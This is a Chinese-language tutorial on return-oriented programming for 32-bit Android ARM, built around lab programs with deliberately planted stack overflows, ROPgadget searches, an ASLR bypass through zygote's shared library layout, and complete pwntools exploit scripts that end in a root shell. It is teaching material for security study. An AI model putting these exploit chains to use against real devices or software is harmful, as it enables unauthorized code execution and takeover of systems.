一步一步學ROP之Android ARM 32位篇
0x00 序
ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術,可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。之前我們主要討論了linux上的ROP攻擊:
- 一步一步學ROP之linux_x86篇 /tips/?id=6597
- 一步一步學ROP之linux_x64篇 /papers/?id=7551
- 一步一步學ROP之gadgets和2free篇 /binary/?id=10638
在這次的教程中我們會帶來arm上rop利用的技術,歡迎大家繼續學習。
另外文中涉及程式碼可在我的github下載:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x01 ARM上的Buffer Overflow
作為一個程式設計師我們的目標是要會寫所有語言的”hello world”。同樣的,作為一個安全工程師,我們的目標是會exploit掉所有語言的buffer overflow。:)因為buffer overflow實在是太經典了,所以我們的arm篇也是從buffer overflow開始。
首先來看第一個程式 level6.c:
#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void callsystem()
{
system("/system/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
我們的目標是在不使用密碼的情況下,獲取到shell。為了減少難度,我們先將stack canary去掉(在JNI目錄下建立Application.mk
並加入APP_CFLAGS += -fno-stack-protector
)。隨後用ndk-build進行編譯。然後將level6檔案複製到"/data/local/tmp"
目錄下。接下來我們把這個目標程式作為一個服務繫結到伺服器的某個埠上,這裡我們可以使用socat這個工具來完成。最後我們再做一個埠轉發,準備工作就算完成了。基本命令如下:
#!bash
ndk-build
adb push libs/armeabi/level6 /data/local/tmp/
adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6
adb forward tcp:10001 tcp:10001
現在我們嘗試連線一下:
#!bash
$ nc 127.0.0.1 10001
Hello, World
發現工作正常。OK,那麼我們開始進行BOF吧。
和之前的x86一樣,我們先用pattern.py來確定溢位點的位置。我們用命令:
#!bash
python pattern.py create 150
來生成一串測試用的150個位元組的字串:
#!bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然後我們寫一個py指令碼來傳送這串資料。
#!python
#!/usr/bin/env python
from pwn import *
#p = process('./level6')
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
raw_input()
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
p.send(payload)
p.interactive()
但因為我們需要獲取崩潰時pc的值,所以在傳送資料前,我們先使用gdb載入上level6。
我們先在電腦上執行python指令碼:
#!bash
[pc]$ python test.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
…
然後在adb shell中用ps獲取level6的pid,然後再掛載level6,然後用c繼續:
#!bash
[adb]# ./gdb --pid=4895
GNU gdb 6.7
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
……
Loaded symbols for /system/lib/libm.so
0xb6eff268 in read () from /system/lib/libc.so
(gdb) c
Continuing.
然後我們再在電腦上輸入回車,讓指令碼傳送資料。然後我們就能夠在gdb裡看到崩潰的pc的值了:
#!bash
Program received signal SIGSEGV, Segmentation fault.
0x41346540 in ?? ()
(gdb)
因為我們編譯的level6預設是thumb模式,所以我們要在這個崩潰的地址上加個1:0x41346540+1 = 0x41346541
。然後用pattern.py計算一下溢位點的位置:
#!bash
$ python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132
OK,我們知道了溢位點的位置,接下來我們找一下返回的地址。其實利用的程式碼在程式中已經有了。我們只要將pc指向callsystem()這個函式地址即可。我們在ida中可以看到地址為0x00008554
:
因為callsystem()
被編譯成了thumb指令,所以我們需要將地址+1,讓pc知道這裡的程式碼為thumb指令,最終exp如下:
#!python
#!/usr/bin/env python
from pwn import *
#p = process('./level6')
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
callsystemaddr = 0x00008554 + 1
payload = 'A'*132 + p32(callsystemaddr)
p.send(payload)
p.interactive()
執行效果如下:
#!bash
$ python level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x02 尋找thumb gadgets
下面我們來看第二個程式level7.c:
#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *str="/system/bin/sh";
void callsystem()
{
system("id");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
在這個程式裡,我們即使知道密碼,也僅僅只能執行”id”這個命令,我們的目標是獲取到一個可以使用的shell,也就是執行system("/system/bin/sh")
。怎麼辦呢?這裡我們就需要來尋找可利用的gadgets,先讓r0指向"/system/bin/sh"
這個字串的地址,然後再呼叫system()函式達到我們的目的。
如何尋找gadgets呢?雖然用ida或者objdump也可以進行查詢,但比較費時費力,這裡我推薦使用ROPGadget。因為level7預設會編譯成thumb指令,所以我們也採用thumb模式查詢gadgets:
#!bash
$ ROPgadget --binary=./level7 --thumb | grep "ldr r0"
0x00008618 : add r0, pc ; b #0x862e ; ldr r0, [pc, #0x10] ; add r0, pc ; ldr r0, [r0] ; b #0x8634 ; movs r0, #0 ; pop {pc}
0x0000861e : add r0, pc ; ldr r0, [r0] ; b #0x862e ; movs r0, #0 ; pop {pc}
0x0000893e : add r3, sp, #0xc ; movs r1, #0 ; str r3, [sp] ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000090fe : add r3, sp, #0xc ; str r3, [sp] ; movs r2, #0xc ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000093ca : add sp, #0x10 ; pop {r4, pc} ; push {r3, lr} ; bl #0x911c ; ldr r0, [r0, #0x48] ; pop {r3, pc}
0x00008826 : add sp, r3 ; pop {r4, r5, r6, r7, pc} ; mov r8, r8 ; stc2 p15, c15, [r4], #-0x3fc ; ldr r0, [r0, #0x44] ; bx lr
……
在這些gadgets中,我們成功找到了一個gadget可以符合我們的要求:
#!bash
0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
接下來就是找system和"/system/bin/sh"
的地址,分別為0x00008404和000096C0:
要注意的是,因為system()
函式在plt區域,並沒有被編譯成thumb指令,而是普通的arm指令,因此並不需要將地址+1。最終level7.py如下:
#!python
#!/usr/bin/env python
from pwn import *
#p = process('./level7')
p = remote('30.10.20.253',10001)
p.recvuntil('\n')
#0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
gadget1 = 0x0000894a + 1
#"/system/bin/sh"
r0 = 0x000096C0
#.plt:00008404 ; int system(const char *command)
systemaddr = 0x00008404
payload = '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(systemaddr)
p.send(payload)
p.interactive()
執行結果如下:
#!bash
$ python level7.py
[+] Opening connection to 30.10.20.253 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x03 Android上的ASLR
Android上的ASLR其實偽ASLR,因為如果程式是由皆由zygote fork的,那麼所有的系統library(libc
,libandroid_runtime
等)和dalvik - heap
的基址都會是相同的,並且和zygote的記憶體佈局一模一樣。比如我們隨便看兩個由zygote fork的程式:
#!bash
[email protected]:/ # cat /proc/1698/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
[email protected]:/ # cat /proc/1720/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0
40104000-40105000 r--p 00000000 00:00 0
40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so
可以看到地址都是一模一樣的。這意味著什麼呢?我們知道android上所有的app都是由zygote fork出來的,因此我們只要在自己的app上得到libc.so等庫的地址就可以知道其他app上的地址了。
假設我們已經知道了目標app的libc.so在記憶體中的地址了,那麼應該如何控制pc執行我們希望的rop呢?OK,現在我們現在來看level8.c:
#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void getsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
getsystemaddr();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
這個程式會先輸出system的地址,相當於我們已經獲取了這個程式的記憶體佈局了。接下來要做的就是在libc.so中尋找我們需要的gadgets和字串地址。因為libc.so很大,我們完全不用擔心找不到需要的gadgets,並且我們只需要控制一個r0即可。因此這些gadgets都能滿足我們的需求:
#!bash
0x00014f48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
0x0002e404 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}
0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
接下來就是在libc.so中找system()
和"/system/bin/sh"
的位置:
可以看到地址分別為0x000253A4
和0x0003F9B4
。當然了,就算獲取了這些地址,我們也需要根據system()
在記憶體中的地址進行偏移量的計算才能夠成功的找到gadgets和"/system/bin/sh"
在記憶體中的地址。除此之外,還要注意thumb指令和arm指令的轉換問題。最終的exp level8.py如下:
#!python
#!/usr/bin/env python
from pwn import *
#p = process('./level8')
p = remote('127.0.0.1',10001)
system_addr_str = p.recvuntil('\n')
print "str:" + system_addr_str
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
p.recvuntil('\n')
#.text:000253A4 EXPORT system
#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
gadget1 = system_addr + (0x00034ace - 0x000253A4)
print "gadget1 = " + hex(gadget1)
#.rodata:0003F9B4 aSystemBinSh DCB "/system/bin/sh",0
r0 = system_addr + (0x0003F9B4 - 0x000253A4) - 1
print "/system/bin/sh addr = " + hex(r0)
payload = '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)
p.send(payload)
p.interactive()
執行結果如下:
#!bash
$ python level8.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f1e3a5
gadget1 = 0xb6f2dacf
/system/bin/sh addr = 0xb6f389b4
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x04 Android上的information leak
在上面的例子中,我們假設已經知道了libc.so的基址了,但是如果我們是進行遠端攻擊,並且原程式中沒有呼叫system()
函式怎麼辦?這意味著目標程式的記憶體佈局對我們來說是隨機的,我們並不能直接呼叫libc.so中的gadgets,因為我們並不知道libc.so在記憶體中的地址。其實這也是有辦法的,我們首先需要一個information leak的漏洞來獲取libc.so在記憶體中的地址,然後再控制pc去執行我們的rop。現在我們來看level9.c:
#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
雖然程式非常簡單,可用的gadgets很少。但好訊息是我們發現除了程式本身的實現的函式之外,我們還可以使用[email protected]()
函式。但因為程式本身並沒有呼叫system()
函式,所以我們並不能直接呼叫system()
來獲取shell。但其實我們有[email protected]()
函式就夠了,因為我們可以透過[email protected]()
函式把write()
函式在記憶體中的地址也就是write.got給列印出來。既然write()
函式實現是在libc.so當中,那我們呼叫的[email protected]()
函式為什麼也能實現write()
功能呢? 這是因為android和linux類似採用了延時繫結技術,當我們呼叫[email protected]()
的時候,系統會將真正的write()
函式地址link到got表的write.got中,然後[email protected]()
會根據write.got 跳轉到真正的write()
函式上去。(如果還是搞不清楚的話,推薦閱讀潘愛民老師的《程式設計師的自我修養 - 連結、裝載與庫》這本書,潘老師是我主管的事情我才不會告訴你。。。)
因為system()
函式和write()
在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()
的地址並且擁有目標手機上的libc.so就可以計算出system()
在記憶體中的地址了。然後我們再將pc指標return回vulnerable_function()
函式,就可以進行第二次溢位攻擊了,並且這一次我們知道了system()
在記憶體中的地址,就可以呼叫system()
函式來獲取我們的shell了。
另外需要注意的是write()函式是三個引數,因此我們還需要控制r1和r2才行,剛好程式中有如下gadget可以滿足我們的需求:
#!bash
#0x0000863a : pop {r1, r2, r4, r5, r6, pc}
另外為了能再一次返回vulnerable_function()
,我們需要構造好執行完write函式後的棧的資料,讓程式執行完ADD SP, SP
,#0x84
;POP {PC}
後,PC能再一次指向0x000084D8
。
最終的explevel9.py如下:
#!python
#!/usr/bin/env python
from pwn import *
#p = process('./level7')
p = remote('30.10.20.253',10001)
p.recvuntil('\n')
#0x00008a12 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
gadget1 = 0x000088be + 1
#0x0000863a : pop {r1, r2, r4, r5, r6, pc}
gadget2 = 0x0000863a + 1
#.text:000084D8 vulnerable_function
ret_to_vul = 0x000084D8 + 1
#write(r0=1, r1=0x0000AFE8, r2=4)
r0 = 1
r1 = 0x0000AFE8
r2 = 4
r4 = 0
r5 = 0
r6 = 0
write_addr_plt = 0x000083C8
payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)
p.send(payload)
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
#.rodata:0003F9B4 aSystemBinSh DCB "/system/bin/sh",0
#.text:000253A4 EXPORT system
#.text:00020280 EXPORT write
r0 = write_addr + (0x0003F9B4 - 0x00020280)
system_addr = write_addr + (0x000253A4 - 0x00020280) + 1
print 'r0=' + hex(r0)
print 'system_addr=' + hex(system_addr)
payload2 = '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(system_addr)
p.send(payload2)
p.interactive()
執行exp的結果如下:
#!bash
$ python level9.py
[+] Opening connection to 30.10.20.253 on port 10001: Done
write_addr=0xb6f27280
r0=0xb6f469b4
system_addr=0xb6f2c3a5
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0
0x05 Android ROP除錯技巧
因為gdb對thumb指令的解析並不好,所以我還是推薦用ida來進行除錯。如果你還不會用ida,可以先看一下我之前寫的關於ida除錯的文章:
安卓動態除錯七種武器之孔雀翎– Ida pro
/tips/?id=6840
除此之外,還有個很重要的技巧就是如何讓ida正確的解析指令。ida在很多時候並不知道需要解析的指令是thumb還是arm,有時候甚至都不知道是啥內容。
比如圖中是libc.so中system的程式碼:
這段程式碼其實是thumb指令,但是我們怎麼樣才能讓ida解析正確呢?方法就是用滑鼠選中0xB6EE03A4
,然後按alt+g
鍵,然後將value
改成0x1
。這樣的話,ida就會按照thumb指令來解析這段資料了。
我們隨後選中那塊資料然後按c鍵,就可以看到指令被正確的解析了。
0x06 總結
我們這篇文章介紹了32位android的ROP。在下一篇中我會繼續帶來64位arm和iOS上ROP的利用技巧,歡迎大家繼續學習。另外文中涉及程式碼可在我的github下載:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
相關文章
- 一步一步學ROP之linux_x64篇2020-08-19Linux
- 一步一步學ROP之linux_x86篇2020-08-19Linux
- 一步一步學RMAN第11篇 rman筆記之綜述2007-07-20筆記
- 一步步學MongoDB之索引操作篇2015-12-16MongoDB索引
- 一步步學MongoDB之Windows安裝篇2015-12-09MongoDBWindows
- 一步一步學DataGuard(5)物理standby之建立示例2008-03-14
- 一步一步學DataGuard(14)邏輯standby之switchover2008-03-25
- 一步一步學RMAN第二篇 RMAN命令知多少2007-07-16
- 一步一步學Streams(1) 第一部分 基礎之概述篇2008-12-18
- 一步一步學RMAN第四篇 RMAN備份演練進階篇2007-07-16
- 一步一步學DataGuard(13)邏輯standby之建立示例2008-03-24
- 一步一步學DataGuard(15)邏輯standby之failover2008-03-26AI
- 一步一步學RMAN第六篇 實戰RMAN備份2007-07-16
- Android 一步一步教你使用ViewDragHelper2015-08-12AndroidView
- 一步一步分析vue之observe2019-02-28Vue
- 一步一步學spring boot2018-12-15Spring Boot
- Android新增OpenCV支援,一步一步新增。2024-10-31AndroidOpenCV
- 一步一步搭建11gR2 rac+dg之結尾篇(十)2015-05-05
- 一步一步分析vue之$mount(1)2019-02-25Vue
- 一步一步學DataGuard(25)RMAN備份來建立之實踐2008-04-09
- 一步一步分析vue之_data屬性2017-12-11Vue
- 一步一步學DataGuard(2)基礎之術語再瞭解大概2008-03-12
- 一步一步學DataGuard(22)Standby之選擇資料保護模式2008-04-04模式
- 一步一步學DataGuard(26)RMAN備份來建立之實踐22008-04-10
- 一步一步學RMAN第五篇 RMAN基礎知識補充 一2007-07-16
- 一步一步構建你的網路層-TCP篇2018-02-22TCP
- 一步一步學RMAN第七篇 RMAN基礎知識補充 二2007-07-18
- 一步一步給你的 Android app 加入聊天功能2015-03-23AndroidAPP
- 一步一步構建你的iOS網路層 - HTTP篇2018-01-09iOSHTTP
- 想進一步學習嵌入式,選ARM還是STM32?2020-12-17
- 【DG】[三思筆記]一步一步學DataGuard2017-06-24筆記
- 三思筆記之一步一步學ORACLE2009-12-16筆記Oracle
- 一步一步學Silverlight 2系列(14):資料與通訊之WCF2011-08-25
- 【轉載】一步一步寫演算法(之hash表)2013-07-19演算法
- Android教你一步一步從學習貝塞爾曲線到實現波浪進度條2019-02-04Android
- [三思筆記]一步一步學DataGuard.zip2012-07-24筆記
- Android自定義View教你一步一步實現即刻點贊效果2018-12-25AndroidView
- 一步一步教你學習如何玩轉跟蹤檔案2016-06-21